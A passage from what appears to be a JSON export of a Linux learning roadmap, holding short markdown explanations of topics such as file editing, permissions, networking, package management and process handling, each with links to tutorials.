    "content": "# Editing Files\n\nLinux, like other operating systems, allows file editing for numerous purposes, whether you need to configure some system functionality or writing scripts. There's a variety of text editors available in Linux by default, these include: `nano`, `vi/vim`, `emacs`, and `gedit`. Each of these has its own learning curve and set of commands.\n\nVisit the following resources to learn more:\n\n- [@article@Editing Files in Linux Command Line](https://itsfoss.com/edit-files-linux/)\n- [@article@The Complete Guide to Text Editing in Linux with Nano and Vim](https://thelinuxcode.com/how-to-edit-file-in-linux/)\n- [@article@Vim Tutorial for Beginners](https://linuxconfig.org/vim-tutorial)"
  },
  {
    "path": "src/data/roadmaps/linux/content/environment-variables@zwXEmpPYjA7_msS43z7I0.md",
    "content": "# Environment Variables\n\nEnvironment variables are dynamic named values that can affect the behavior of running processes in a shell. They exist in every shell session. A shell session's environment includes, but is not limited to, the user's home directory, command search path, terminal type, and program preferences.\n\nEnvironment variables help to contribute to the fantastic and customizable flexibility you see in Unix systems. They provide a simple way to share configuration settings between multiple applications and processes in Linux.\n\nVisit the following resources to learn more:\n\n- [@article@Environment Variables in Linux](https://labex.io/tutorials/linux-environment-variables-in-linux-385274)\n- [@article@Linux Environment Variables List, Set, Create & Remove](https://www.computernetworkingnotes.com/linux-tutorials/linux-environment-variables-list-set-create-remove.html)\n- [@article@How to Set and List Environment Variables in Linux](https://linuxize.com/post/how-to-set-and-list-environment-variables-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/ethernet--arprarp@4ees23q281J1DPVAc7iXd.md",
    "content": "# Ethernet, ARP and RARP\n\nThree crucial Linux networking components: Ethernet enables LAN device communication, ARP (Address Resolution Protocol) translates IP addresses to MAC addresses for direct network communication, and RARP (Reverse ARP) converts MAC addresses to IP addresses when devices know their MAC but need their IP. Essential for diagnosing and managing Linux networking issues.\n\nVisit the following resources to learn more:\n\n- [@article@A Comprehensive guide to Linux Networking](https://centlinux.com/linux-networking/)\n- [@article@A Beginner's Guide to Linux Networking Fundamentals](https://dev.to/iaadidev/a-beginners-guide-to-linux-networking-fundamentals-dev-ops-prerequisite-7-434o)\n- [@video@ARP Explained - Address Resolution Protocol](https://www.youtube.com/watch?v=cn8Zxh9bPio)\n- [@video@What is Ethernet?](https://www.youtube.com/watch?v=HLziLmaYsO0)"
  },
  {
    "path": "src/data/roadmaps/linux/content/ethernet-arp-rarp@4ees23q281J1DPVAc7iXd.md",
    "content": "# Ethernet, ARP and RARP\n\nThree crucial Linux networking components: Ethernet enables LAN device communication, ARP (Address Resolution Protocol) translates IP addresses to MAC addresses for direct network communication, and RARP (Reverse ARP) converts MAC addresses to IP addresses when devices know their MAC but need their IP. Essential for diagnosing and managing Linux networking issues.\n\nVisit the following resources to learn more:\n\n- [@article@A Comprehensive guide to Linux Networking](https://centlinux.com/linux-networking/)\n- [@article@A Beginner's Guide to Linux Networking Fundamentals](https://dev.to/iaadidev/a-beginners-guide-to-linux-networking-fundamentals-dev-ops-prerequisite-7-434o)\n- [@video@ARP Explained - Address Resolution Protocol](https://www.youtube.com/watch?v=cn8Zxh9bPio)\n- [@video@What is Ethernet?](https://www.youtube.com/watch?v=HLziLmaYsO0)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/expand@TZuDVFS7DZFBgaSYYXoGe.md",
    "content": "# Expand\n\nThe `expand` command converts tabs to spaces in text files, useful for consistent formatting across different systems and editors. Default conversion is 8 spaces per tab. Use `expand filename` for basic conversion or `expand -t 4 filename` to specify 4 spaces per tab. Essential for maintaining code readability and consistent indentation in shell scripts.\n\nVisit the following resources to learn more:\n\n- [@article@expand — Linux manual page](https://www.man7.org/linux/man-pages/man1/expand.1.html)\n- [@article@How to Use the 'expand' Command (with examples)](https://commandmasters.com/commands/expand-common/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/file-permissions@TnrT-cqMA8urew9nLv0Ns.md",
    "content": "# Linux File Permissions\n\nIn Linux systems, rights and privileges are assigned to files and directories in the form of permissions. These permissions indicate who can read, write, or execute (run) them. In Linux, there are three types of users: owners, groups, and others who can have a different set of permissions.\n\nIn fact, permissions on the system are there for a reason: to prevent unprivileged users from making changes on the system that would ultimately affect other users. With inadequate permissions, unprivileged users are able to make changes that would be beneficial or harmless to the Linux system.\n\nLet's have a look at an example:\n\n    -rwxr--r-- 1 root root 4096 Jan 1 12:00 filename\n    \n\nFrom the above example, the first character `-` indicates if it is a regular file(`-`) or directory(`d`). The following group of three characters(`rwx`) represents the permissions for the file owner. The next three characters(`r--`) represent permissions for the group and the last set of three characters(`r--`) represents permissions for others.\n\nThe `r` indicates that the file can be read, `w` indicates that the file can be written to, and `x` indicates that the file can be executed.\n\nThe permissions can be changed using the `chmod`, `chown`, and `chgrp` commands.\n\nVisit the following resources to learn more:\n\n- [@article@Linux File Permissions](https://linuxhandbook.com/linux-file-permissions/)\n- [@article@Linux Permissions of Files](https://labex.io/tutorials/linux-permissions-of-files-270252)\n- [@video@Linux File Permissions in 5 Minutes](https://www.youtube.com/watch?v=LnKoncbQBsM)"
  },
  {
    "path": "src/data/roadmaps/linux/content/file-transfer@tVrbVcNEfc11FbEUoO2Dk.md",
    "content": "# File Transfer\n\nLinux file transfer involves copying or moving files between systems over networks. Command-line tools support protocols like FTP, HTTP, SCP, SFTP, and NFS. Common commands include `scp`, `rsync`, and `wget`. Example: `scp /local/file username@remote:/destination` copies files to remote systems. These tools make network file sharing streamlined, easier, and more secure.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use Linux FTP Command to Transfer Files](https://linuxize.com/post/how-to-use-linux-ftp-command-to-transfer-files/)\n- [@article@Rsync Command in Linux with Examples](https://linuxize.com/post/how-to-use-rsync-for-local-and-remote-data-transfer-and-synchronization/)\n- [@article@Using scp Command in Linux](https://linuxhandbook.com/scp-command/)\n- [@article@Wget Command in Linux with Examples](https://linuxize.com/post/wget-command-examples/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/filesystems@LFPhSHOhUqM98fUxMjQUw.md",
    "content": "# Filesystems\n\nFilesystems define how files are stored and organized on Linux storage disks, ensuring data integrity, reliability, and efficient access. Linux supports various types like EXT4, XFS, BTRFS with different performance and recovery capabilities. All files start from root directory '/'. Use `df -T` to display filesystem types and disk usage status. Essential for Linux administration tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Filesystems in the Linux Kernel](https://www.kernel.org/doc/html/v6.16-rc2/filesystems/index.html)\n- [@article@df command in Linux (Check Disk Space)](https://linuxize.com/post/how-to-check-disk-space-in-linux-using-the-df-command/)\n- [@article@Partitions And Filesystems In Linux - Introduction](https://www.linuxfordevices.com/tutorials/linux/partitions-and-filesystems)"
  },
  {
    "path": "src/data/roadmaps/linux/content/finding--installing-packages@Z23eJZjmWoeXQuezR9AhG.md",
    "content": "# Finding and Installing Packages\n\nLinux package managers like `apt`, `yum`, and `dnf` automate software installation, upgrading, configuring, and removal. Debian-based systems: `sudo apt-get update && sudo apt-get install package-name`. Fedora/CentOS: `sudo dnf update && sudo dnf install package-name`. Package management eliminates manual compilation from source code. Root permissions required for installation.\n\nVisit the following resources to learn more:\n\n- [@official@APT Package Manager](https://www.debian.org/doc/manuals/apt-guide/index.en.html)\n- [@official@Yum Package Manager](http://yum.baseurl.org/)\n- [@official@Using the DNF Software Package Manager](https://docs.fedoraproject.org/en-US/quick-docs/dnf/)\n- [@article@Linux Package Manager Explained](https://geekflare.com/dev/linux-package-manager-explained/)\n- [@article@8 Best Package Manager for Linux](https://linuxsimply.com/linux-basics/package-management/best-package-manager/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/finding-installing-packages@Z23eJZjmWoeXQuezR9AhG.md",
    "content": "# Finding and Installing Packages\n\nLinux package managers like `apt`, `yum`, and `dnf` automate software installation, upgrading, configuring, and removal. Debian-based systems: `sudo apt-get update && sudo apt-get install package-name`. Fedora/CentOS: `sudo dnf update && sudo dnf install package-name`. Package management eliminates manual compilation from source code. Root permissions required for installation.\n\nVisit the following resources to learn more:\n\n- [@official@APT Package Manager](https://www.debian.org/doc/manuals/apt-guide/index.en.html)\n- [@official@Yum Package Manager](http://yum.baseurl.org/)\n- [@official@Using the DNF Software Package Manager](https://docs.fedoraproject.org/en-US/quick-docs/dnf/)\n- [@article@Linux Package Manager Explained](https://geekflare.com/dev/linux-package-manager-explained/)\n- [@article@8 Best Package Manager for Linux](https://linuxsimply.com/linux-basics/package-management/best-package-manager/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/grep@umlhxidsvtZG9k40Ca0Ac.md",
    "content": "# GREP\n\nGREP (Global Regular Expression Print) is a powerful text search utility that finds and filters text matching specific patterns in files. It searches line by line and prints matching lines to the screen. Essential for shell scripts and command-line operations. Example: `grep \"pattern\" fileName` searches for specified patterns. Alternative: `ripgrep` offers enhanced performance and features.\n\nVisit the following resources to learn more:\n\n- [@opensource@Ripgrep: GitHub Repository](https://github.com/BurntSushi/ripgrep)\n- [@article@Grep and Regular Expressions for Beginners](https://ryanstutorials.net/linuxtutorial/grep.php)\n- [@article@bgsu.edu: Advanced Grep Topics](https://caspar.bgsu.edu/~courses/Stats/Labs/Handouts/grepadvanced.htm)\n- [@article@Linux grep Command: Pattern Searching](https://labex.io/tutorials/linux-linux-grep-command-pattern-searching-219192)"
  },
  {
    "path": "src/data/roadmaps/linux/content/head@6xdkFk_GT93MigeTSSGCp.md",
    "content": "# Head Command\n\nThe `head` command in Linux is a text processing utility that allows a user to output the first part (or the \"head\") of files. It is commonly used for previewing the start of a file without loading the entire document into memory, which can act as an efficient way of quickly examining the data in very large files. By default, the `head` command prints the first 10 lines of each file to standard output, which is the terminal in most systems.\n\nVisit the following resources to learn more:\n\n- [@article@Head Command in Linux - 5 Essential Examples](https://linuxhandbook.com/head-command/)\n- [@article@Linux head Command: File Beginning Display](https://labex.io/tutorials/linux-linux-head-command-file-beginning-display-214302)"
  },
  {
    "path": "src/data/roadmaps/linux/content/icmp@Ymf3u_sG1dyt8ZR_LbwqJ.md",
    "content": "# ICMP\n\nInternet Control Message Protocol (ICMP) is a supportive protocol used by network devices to communicate error messages and operational information. Essential for Linux network troubleshooting, ICMP enables tools like `ping` and `traceroute` to diagnose network connectivity and routing issues. Use `ping www.google.com` to send ICMP echo requests and test network reachability effectively.\n\nVisit the following resources to learn more:\n\n- [@article@icmp(7) — Linux manual page](https://www.man7.org/linux/man-pages/man7/icmp.7.html)\n- [@article@Understanding ICMP Packets with Examples](https://www.howtouselinux.com/post/icmp-packets)"
  },
  {
    "path": "src/data/roadmaps/linux/content/inodes@AwQJYL60NNbA5_z7iLcM7.md",
    "content": "# Inodes\n\nAn inode (index node) is a data structure in Linux filesystems that stores metadata about files and directories except their names and actual data. Contains file size, owner, permissions, timestamps, and more. Each file has a unique inode number for identification. Understanding inodes helps with advanced operations like linking and file recovery. Use `ls -i filename` to view inode numbers.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Inodes](https://linuxjourney.com/lesson/inodes)\n- [@article@Index Nodes — The Linux Kernel documentation](https://www.kernel.org/doc/html/latest/filesystems/ext4/inodes.html?highlight=inode)"
  },
  {
    "path": "src/data/roadmaps/linux/content/install--remove--upgrade-packages@xEHiB-egkkcBuZmgMoqHT.md",
    "content": "# Install, Remove, and Upgrade Packages\n\nLinux package management handles installing, removing, and upgrading pre-compiled software modules. Different distributions use specific package managers: `apt` (Debian/Ubuntu), `yum`/`dnf` (Fedora/RHEL/CentOS), `zypper` (SUSE). Example installation: `sudo apt-get install packagename`. Each manager has specific commands for removal and upgrades. Critical skill for effective Linux system administration."
  },
  {
    "path": "src/data/roadmaps/linux/content/install-remove-ugprade-packages@xEHiB-egkkcBuZmgMoqHT.md",
    "content": "# Install, Remove, and Upgrade Packages\n\nLinux package management handles installing, removing, and upgrading pre-compiled software modules. Different distributions use specific package managers: `apt` (Debian/Ubuntu), `yum`/`dnf` (Fedora/RHEL/CentOS), `zypper` (SUSE). Example installation: `sudo apt-get install packagename`. Each manager has specific commands for removal and upgrades. Critical skill for effective Linux system administration.\n\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/ip-routing@D0yUzzaJsfhtdBWMtquAj.md",
    "content": "# IP Routing\n\nIP routing in Linux involves configuring routing tables and network routes for packet forwarding across networks. The kernel handles route selection to send packets to their destinations. Use the `ip` command (replacing deprecated `ifconfig`) for network configuration. Example: `ip route show` displays all kernel-known routes for network troubleshooting and management.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Set Up Routing with ip Command](https://www.cyberciti.biz/faq/howto-linux-configuring-default-route-with-ipcommand/)\n- [@article@Linux Networking: A Simplified Guide to IP Addresses](https://www.linuxjournal.com/content/linux-networking-simplified-guide-ip-addresses-and-routing)"
  },
  {
    "path": "src/data/roadmaps/linux/content/join@vfcCS1GoyKpU1rQaE8I5r.md",
    "content": "# join Command\n\n`join` is a powerful text processing command in Linux. It lets you combine lines of two files on a common field, which works similar to the 'Join' operation in SQL. It's particularly useful when you're dealing with large volumes of data. Specifically, `join` uses the lines from two files to form lines that contain pairs of lines related in a meaningful way.\n\nVisit the following resources to learn more:\n\n- [@article@join(1) — Linux manual page](https://www.man7.org/linux/man-pages/man1/join.1.html)\n- [@article@join command in Linux with examples](https://linuxconfig.org/join)\n- [@article@Linux join Command: File Joining](https://labex.io/tutorials/linux-linux-join-command-file-joining-219193)"
  },
  {
    "path": "src/data/roadmaps/linux/content/kill-processes@0FLUI9r7znMqi6YKReLzD.md",
    "content": "# Kill Processes\n\nThe `kill` command terminates processes manually by sending specific signals to Process IDs (PIDs). Used when processes behave unexpectedly due to system bugs or accidental initiation. Syntax: `kill [signal or option] PID(s)`. Essential for Linux process management, allowing administrators to stop, pause, or terminate problematic processes and maintain system stability.\n\nLearn more from the following resources:\n\n- [@article@Using Kill Command in Linux](https://linuxhandbook.com/kill-command/)\n- [@article@Kill Command in Linux](https://linuxize.com/post/kill-command-in-linux/)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/killing-processes@0FLUI9r7znMqi6YKReLzD.md",
    "content": "# Killing Processes\n\nThe `kill` command terminates processes in Linux by sending signals to specific Process IDs (PIDs). Use `kill [signal] PID` to terminate processes manually. Different signals provide various termination methods - SIGTERM for graceful shutdown, SIGKILL for forced termination. Process termination is essential for managing unresponsive or unwanted processes.\n\nVisit the following resources to learn more:\n\n- [@article@Killing Processes](https://linuxjourney.com/lesson/killing-processes)\n- [@article@Using Kill Command in Linux](https://linuxhandbook.com/kill-command/)\n- [@article@Kill Command in Linux](https://linuxize.com/post/kill-command-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/listing--finding-processes@lf3_CRyOI2ZXGzz5ff451.md",
    "content": "# Listing and Finding Processes\n\nLinux processes can be monitored using the `proc` virtual filesystem and commands like `ps`, `top`, and `htop`. Use `ps -ef` for process snapshots, `top`/`htop` for real-time views. The `/proc` directory contains detailed process information. View specific process details with `cat /proc/{PID}/status`. Essential for system performance monitoring and troubleshooting.\n\nVisit the following resources to learn more:\n\n- [@article@The /proc File System](https://www.kernel.org/doc/html/latest/filesystems/proc.html)\n- [@article@What is a Process in Linux/Unix?](https://www.scaler.com/topics/linux-process/)\n- [@article@Exploring the Linux /proc Filesystem](https://www.redhat.com/en/blog/linux-proc-filesystem)"
  },
  {
    "path": "src/data/roadmaps/linux/content/listing-finding-proc@lf3_CRyOI2ZXGzz5ff451.md",
    "content": "# Listing and Finding Processes\n\nLinux processes can be monitored using the `proc` virtual filesystem and commands like `ps`, `top`, and `htop`. Use `ps -ef` for process snapshots, `top`/`htop` for real-time views. The `/proc` directory contains detailed process information. View specific process details with `cat /proc/{PID}/status`. Essential for system performance monitoring and troubleshooting.\n\nVisit the following resources to learn more:\n\n- [@article@The /proc File System](https://www.kernel.org/doc/html/latest/filesystems/proc.html)\n- [@article@What is a Process in Linux/Unix?](https://www.scaler.com/topics/linux-process/)\n- [@article@Exploring the Linux /proc Filesystem](https://www.redhat.com/en/blog/linux-proc-filesystem)"
  },
  {
    "path": "src/data/roadmaps/linux/content/listing-installed-packages@48wAoAAlCNt3j5mBpKTWC.md",
    "content": "# Listing Installed Packages\n\nLinux distributions use different package managers: `apt` (Debian-based), `dnf` (Fedora), `zypper` (OpenSUSE), `pacman` (Arch). Listing installed packages helps with auditing software and deployment automation. Commands: `sudo apt list --installed` for apt systems, `dnf list installed` for dnf systems. Each distribution has its own syntax for this command.\n\nVisit the following resources to learn more:\n\n- [@official@APT Package Manager](https://www.debian.org/doc/manuals/apt-guide/index.en.html)\n- [@article@5 ways to list installed packages in Linux](https://www.howtouselinux.com/post/list-installed-packages-in-linux)\n- [@article@Linux Package Manager Explained](https://geekflare.com/dev/linux-package-manager-explained/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/literals@-pW7R76yNIeGf7TQoX4QL.md",
    "content": "# Literals\n\nShell literals are fixed values in source code including string literals (enclosed in quotes), numeric literals (sequences of digits), and boolean literals (1=true, 0=false). String examples: 'Hello, world!' or \"Hello, world!\". Numeric examples: 25, 100, 1234. Understanding literals is fundamental for shell scripting readability and functionality in Linux programming.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Tutorial - Quoting literal text](https://riptutorial.com/bash/example/2465/quoting-literal-text)\n- [@article@Handling Special Characters in Shell Scripts](https://www.baeldung.com/linux/special-characters-in-shell-scripts)"
  },
  {
    "path": "src/data/roadmaps/linux/content/logs@ru7mpLQZKE1QxAdiA1sS3.md",
    "content": "# System Logs\n\nLinux maintains logs documenting system activities, errors, and kernel messages. Boot logs record all operations during system startup for troubleshooting. Use `dmesg` to view kernel ring buffer messages in real-time, or access logs in `/var/log`. Systemd uses `journalctl` for logging. Log levels range from emergency (system unusable) to debug messages.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use journalctl Command to Analyze Logs in Linux](https://linuxhandbook.com/journalctl-command/)\n- [@article@How to Check System Logs on Linux](https://www.fosslinux.com/8984/how-to-check-system-logs-on-linux-complete-usage-guide.htm)\n- [@article@What is dmesg in Linux, And How Do I Use It?](https://linuxconfig.org/what-is-dmesg-and-how-do-i-use-it)"
  },
  {
    "path": "src/data/roadmaps/linux/content/loops@WJT-yrMq8cEI87RHWA2jY.md",
    "content": "# Loops\n\nShell loops automate repetitive tasks with three types: `for` (iterates over lists), `while` (executes while condition true), `until` (runs until condition true). Example: `for i in 1 2 3; do echo \"$i\"; done` outputs each number. Essential for script efficiency, automation, and effective Linux shell programming.\n\nVisit the following resources to learn more:\n\n- [@article@Using For, While and Until Loops in Bash](https://linuxhandbook.com/bash-loops/)\n- [@article@Bash Loops with examples](https://linuxconfig.org/bash-loops-with-examples)"
  },
  {
    "path": "src/data/roadmaps/linux/content/lvm@I3LNa1cM_zRkBy8wKdz3g.md",
    "content": "# LVM (Logical Volume Manager)\n\nLVM provides logical volume management through device mapper framework, offering flexible disk management with resizing, mirroring, and moving capabilities. Three levels: Physical Volumes (PVs - actual disks), Volume Groups (VGs - storage pools), and Logical Volumes (LVs - carved portions). Create with `pvcreate`, `vgcreate`, and `lvcreate` commands. Essential for enterprise storage systems.\n\nVisit the following resources to learn more:\n\n- [@article@The Complete Beginner's Guide to LVM in Linux](https://linuxhandbook.com/lvm-guide/)\n- [@article@A Beginner's Guide to LVM in Linux - It's FOSS](https://itsfoss.com/lvm-guide/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/managing-permissions@L6RMExeqi9501y-eCHDt1.md",
    "content": "# Permissions\n\nLinux permissions control file and directory access for users, groups, and others with read, write, and execute types. Commands include `chmod` (change permissions), `chown` (change owner), and `chgrp` (change group). Proper permission management is crucial for system security and organization. Essential for maintaining controlled access to system resources.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Linux File Permissions](https://linuxize.com/post/understanding-linux-file-permissions/)\n- [@article@Linux File Permissions](https://linuxhandbook.com/linux-file-permissions/)\n- [@article@Linux Permissions of Files](https://labex.io/tutorials/linux-permissions-of-files-270252)\n- [@video@Linux File Permissions in 5 Minutes](https://www.youtube.com/watch?v=LnKoncbQBsM)"
  },
  {
    "path": "src/data/roadmaps/linux/content/mounts@zmb5lK_EGMAChPoPvP9E0.md",
    "content": "# Mounts\n\nMounting in Linux attaches filesystems to specific directories (mount points) in the directory tree, allowing the OS to access data on storage devices. The `mount` command performs this operation. Example: `mount /dev/sdb1 /mnt` mounts second partition to `/mnt` directory. The `/mnt` directory is conventionally used for temporary mounting operations. Essential for Linux disk and filesystem management.\n\nVisit the following resources to learn more:\n\n- [@official@The mount command manual page](https://man7.org/linux/man-pages/man8/mount.8.html)\n- [@article@Mounting, unmounting and the /mnt directory - The Linux Documentation Project](https://tldp.org/LDP/Linux-Filesystem-Hierarchy/html/mnt.html)\n- [@article@Linux mount command with Examples](https://phoenixnap.com/kb/linux-mount-command)"
  },
  {
    "path": "src/data/roadmaps/linux/content/moving-files--directories@q-Ky0ietZGpyUcBQfh-BJ.md",
    "content": "# Moving Files\n\nIn Linux, moving files is an essential task that you will need to perform quite frequently. The `mv` command, short for move, is used to move files and directories from one location to another. The `mv` command can also be used for renaming files in Linux.\n\nVisit the following resources to learn more:\n\n- [@article@mv command](https://linuxhandbook.com/mv-command/)\n- [@article@mv Cheat Sheet](https://www.commandinline.com/cheat-sheet/mv/)\n- [@article@Linux mv Command: File Moving and Renaming](https://labex.io/tutorials/linux-linux-mv-command-file-moving-and-renaming-209743)"
  },
  {
    "path": "src/data/roadmaps/linux/content/moving-files@q-Ky0ietZGpyUcBQfh-BJ.md",
    "content": "# Moving Files\n\nIn Linux, moving files is an essential task that you will need to perform quite frequently. The `mv` command, short for move, is used to move files and directories from one location to another. The `mv` command can also be used for renaming files in Linux.\n\nLearn more from the following resources:\n\n- [@article@mv command](https://linuxhandbook.com/mv-command/)\n- [@article@mv Cheat Sheet](https://www.commandinline.com/cheat-sheet/mv/)\n- [@article@Linux mv Command: File Moving and Renaming](https://labex.io/tutorials/linux-linux-mv-command-file-moving-and-renaming-209743)"
  },
  {
    "path": "src/data/roadmaps/linux/content/nano@yqRwmcZThjQuqh2ao0dWK.md",
    "content": "# Nano: A File Editing Tool\n\nNano is a popular, user-friendly text editor used for creating and editing files directly within the Linux command line interface (CLI). It is an alternative to editors like `Vi` and `Emacs` and is considered more straightforward for beginners due to its simple and intuitive interface.\n\nVisit the following resources to learn more:\n\n- [@official@nano - Text editor](https://www.nano-editor.org/)\n- [@article@Editing Files With Nano in Linux](https://itsfoss.com/nano-editor-guide/)\n- [@article@Nano in Linux](https://ioflood.com/blog/nano-linux-command/)\n- [@video@Nano editor fundamentals](https://www.youtube.com/watch?v=gyKiDczLIZ4&ab_channel=HackerSploit)"
  },
  {
    "path": "src/data/roadmaps/linux/content/navigation-basics@y7KjVfSI6CAduyHd4mBFT.md",
    "content": "# Navigation Basics\n\nIn Linux, navigation between directories and files is a fundamental, yet essential function that allows you to exploit the power of the command-line interface (CLI). Mastering the basic Linux navigation commands such as `cd`, `pwd`, `ls`, and `tree` enables you to flawlessly move from one point to another within the filesystem, display the list of files & directories, and understand your position relative to other system components.\n\nVisit the following resources to learn more:\n\n- [@course@Linux for Noobs (Hands-on)](https://labex.io/courses/linux-for-noobs)\n- [@article@Linux Filesystem Navigation Basics](https://linuxconfig.org/filesystem-basics)\n- [@article@Basic Navigation Commands: cd, ls, and pwd](https://www.linuxbash.sh/post/basic-navigation-commands-cd-ls-and-pwd)\n- [@article@Practice on Linux Fundamentals](https://linuxjourney.com/)\n- [@video@Linux fundamentals](https://www.youtube.com/watch?v=kPylihJRG70&t=1381s&ab_channel=TryHackMe)"
  },
  {
    "path": "src/data/roadmaps/linux/content/netfilter@bZ8Yj6QfBeDdh8hRM_aZs.md",
    "content": "# Netfilter\n\nNetfilter is a Linux kernel framework for manipulating and filtering network packets with hooks at various stages (pre-routing, input, forward, output, post-routing). Used for firewalls and NAT management with iptables configuration. Essential for traffic control, packet modification, logging, and intrusion detection in Linux networking systems.\n\nVisit the following resources to learn more:\n\n- [@official@netfilter/iptables project homepage](https://netfilter.org/)\n- [@article@Packet filtering in Linux - iptables, nftables and firewalld](https://wyssmann.com/blog/2021/07/packet-filtering-in-linux-iptables-nftables-and-firewalld/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/netstat@yrxNYMluJ9OAQCKuM5W1u.md",
    "content": "# Netstat\n\nNetstat is a command-line tool for network troubleshooting and performance measurement in Linux. It provides network statistics, open ports, routing table information, and protocol details. Use options like `-n` for numerical addresses, `-c` for continuous monitoring, and `-t`/`-u` for specific protocols. Example: `netstat -n` lists all connections with numerical values.\n\nVisit the following resources to learn more:\n\n- [@article@Netstat Command in Linux](https://linuxhandbook.com/netstat-command/)\n- [@article@How to Use netstat on Linux](https://www.howtogeek.com/513003/how-to-use-netstat-on-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/networking@Mb42VFjCzMZn_PovKIfKx.md",
    "content": "# Networking\n\nLinux networking enables system connections and resource sharing across platforms with robust management tools. Network configurations stored in `/etc/network/interfaces`. Key commands include `ifconfig` (deprecated) and `ip` for interface management. Supports various protocols with excellent scalability. Essential for system connectivity and network troubleshooting. Linux adopts a file-based approach for network configuration, storing network-related settings and configurations in standard files, such as `/etc/network/interfaces` or `/etc/sysconfig/network-scripts/`, depending on the Linux distribution.\n\nVisit the following resources to learn more:\n\n- [@article@A Comprehensive Guide to Linux Networking](https://centlinux.com/linux-networking/)\n- [@article@A Beginner's Guide to Linux Networking Fundamentals](https://dev.to/iaadidev/a-beginners-guide-to-linux-networking-fundamentals-dev-ops-prerequisite-7-434o)\n- [@article@Practice on Networking Fundamentals](https://linuxjourney.com/lesson/network-basics)"
  },
  {
    "path": "src/data/roadmaps/linux/content/nl@YSfGrmT795miIeIZrtC3D.md",
    "content": "# NL (Number Lines)\n\nThe `nl` command numbers lines in text files, providing an overview of line locations. By default, it numbers only non-empty lines, but this behavior can be modified. Syntax: `nl [options] [file_name]`. If no file is specified, nl reads from stdin. Valuable for text processing when line numbers are needed for reference or debugging purposes.\n\nVisit the following resources to learn more:\n\n- [@article@nl command](https://www.computerhope.com/unix/nl.htm)\n- [@article@Linux nl Command: Line Numbering](https://labex.io/tutorials/linux-linux-nl-command-line-numbering-210988)\n- [@article@Master the Linux 'nl' Command: A Comprehensive Guide](https://hopeness.medium.com/master-the-linux-nl-command-a-comprehensive-guide-79c6adf50fa9)"
  },
  {
    "path": "src/data/roadmaps/linux/content/package-management@4eINX8jYMJxfYh7ZV47YI.md",
    "content": "# Package Management\n\nPackage management handles software installation, updates, configuration, and removal in Linux. It manages collections of files and tracks software prerequisites automatically. Common package managers include `apt` (Debian-based), `yum`/`dnf` (Red Hat-based), and `pacman` (Arch). Example: `sudo apt install <package-name>` installs packages. Essential for efficient application management.\n\nVisit the following resources to learn more:\n\n- [@official@APT Package Manager](https://www.debian.org/doc/manuals/apt-guide/index.en.html)\n- [@official@Yum Package Manager](http://yum.baseurl.org/)\n- [@official@Using the DNF Software Package Manager](https://docs.fedoraproject.org/en-US/quick-docs/dnf/)\n- [@article@Linux Package Manager Explained](https://geekflare.com/dev/linux-package-manager-explained/)\n- [@article@8 Best Package Manager for Linux](https://linuxsimply.com/linux-basics/package-management/best-package-manager/)\n- [@article@Software Installation on Linux](https://labex.io/tutorials/linux-software-installation-on-linux-18005)"
  },
  {
    "path": "src/data/roadmaps/linux/content/package-repositories@2oQiuQ2j02SCt9t5eV6hg.md",
    "content": "# Repositories\n\nRepositories are storage locations containing collections of software packages for Linux distributions. They store thousands of compiled packages specific to each distribution (.deb for Debian/Ubuntu, .rpm for Fedora/CentOS). Repositories ensure secure, tested software with proper dependencies. Update commands: `sudo apt update` (Ubuntu), `sudo yum update` (CentOS/Fedora). Essential for secure software management.\n\nVisit the following resources to learn more:\n\n- [@official@APT Package Manager](https://www.debian.org/doc/manuals/apt-guide/index.en.html)\n- [@article@What is Repository in Linux?](https://linuxsimply.com/what-is-repository-in-linux/)\n- [@article@Official Repositories - ArchWiki](https://wiki.archlinux.org/title/Official_repositories)\n- [@article@Understanding Linux Repositories](https://blogs.maalavs.com/linux/understanding-linux-repositories/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/packet-analysis@7seneb4TWts4v1_x8xlcZ.md",
    "content": "# Packet Analysis\n\nPacket analysis is a key Linux network troubleshooting skill involving capturing and analyzing network traffic to identify performance issues, connectivity problems, and security vulnerabilities. Tools like tcpdump and Wireshark provide packet-level details for network diagnostics. Use `sudo tcpdump -i eth0` to capture packets on the eth0 interface for debugging network protocols.\n\nVisit the following resources to learn more:\n\n- [@article@How to Capture and Analyze Packets with tcpdump](https://www.debian.org/doc/manuals/apt-guide/index.en.html)\n- [@article@Mastering Network Traffic Analysis in Linux](https://en.ittrip.xyz/linux/linux-network-analysis)\n- [@article@16 Best Free and Open Source Network Analyzers](https://www.linuxlinks.com/best-free-open-source-network-analyzers/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/paste@5658kdqJw-pIOyyhll80a.md",
    "content": "# Paste\n\nIn Linux, paste is a powerful text processing utility that is primarily used for merging lines from multiple files. It allows users to combine data by columns rather than rows, adding immense flexibility to textual data manipulation. Users can choose a specific delimiter for separating columns, providing a range of ways to format the output. You may use `paste` command like `$ paste file1.txt file2.txt > combined.txt`.\n\nVisit the following resources to learn more:\n\n- [@article@Paste Command in Linux (Merge Lines)](https://linuxize.com/post/paste-command-in-linux/)\n- [@article@7 Practical Usage of Paste Command in Linux](https://linuxhandbook.com/paste-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/permissions@L6RMExeqi9501y-eCHDt1.md",
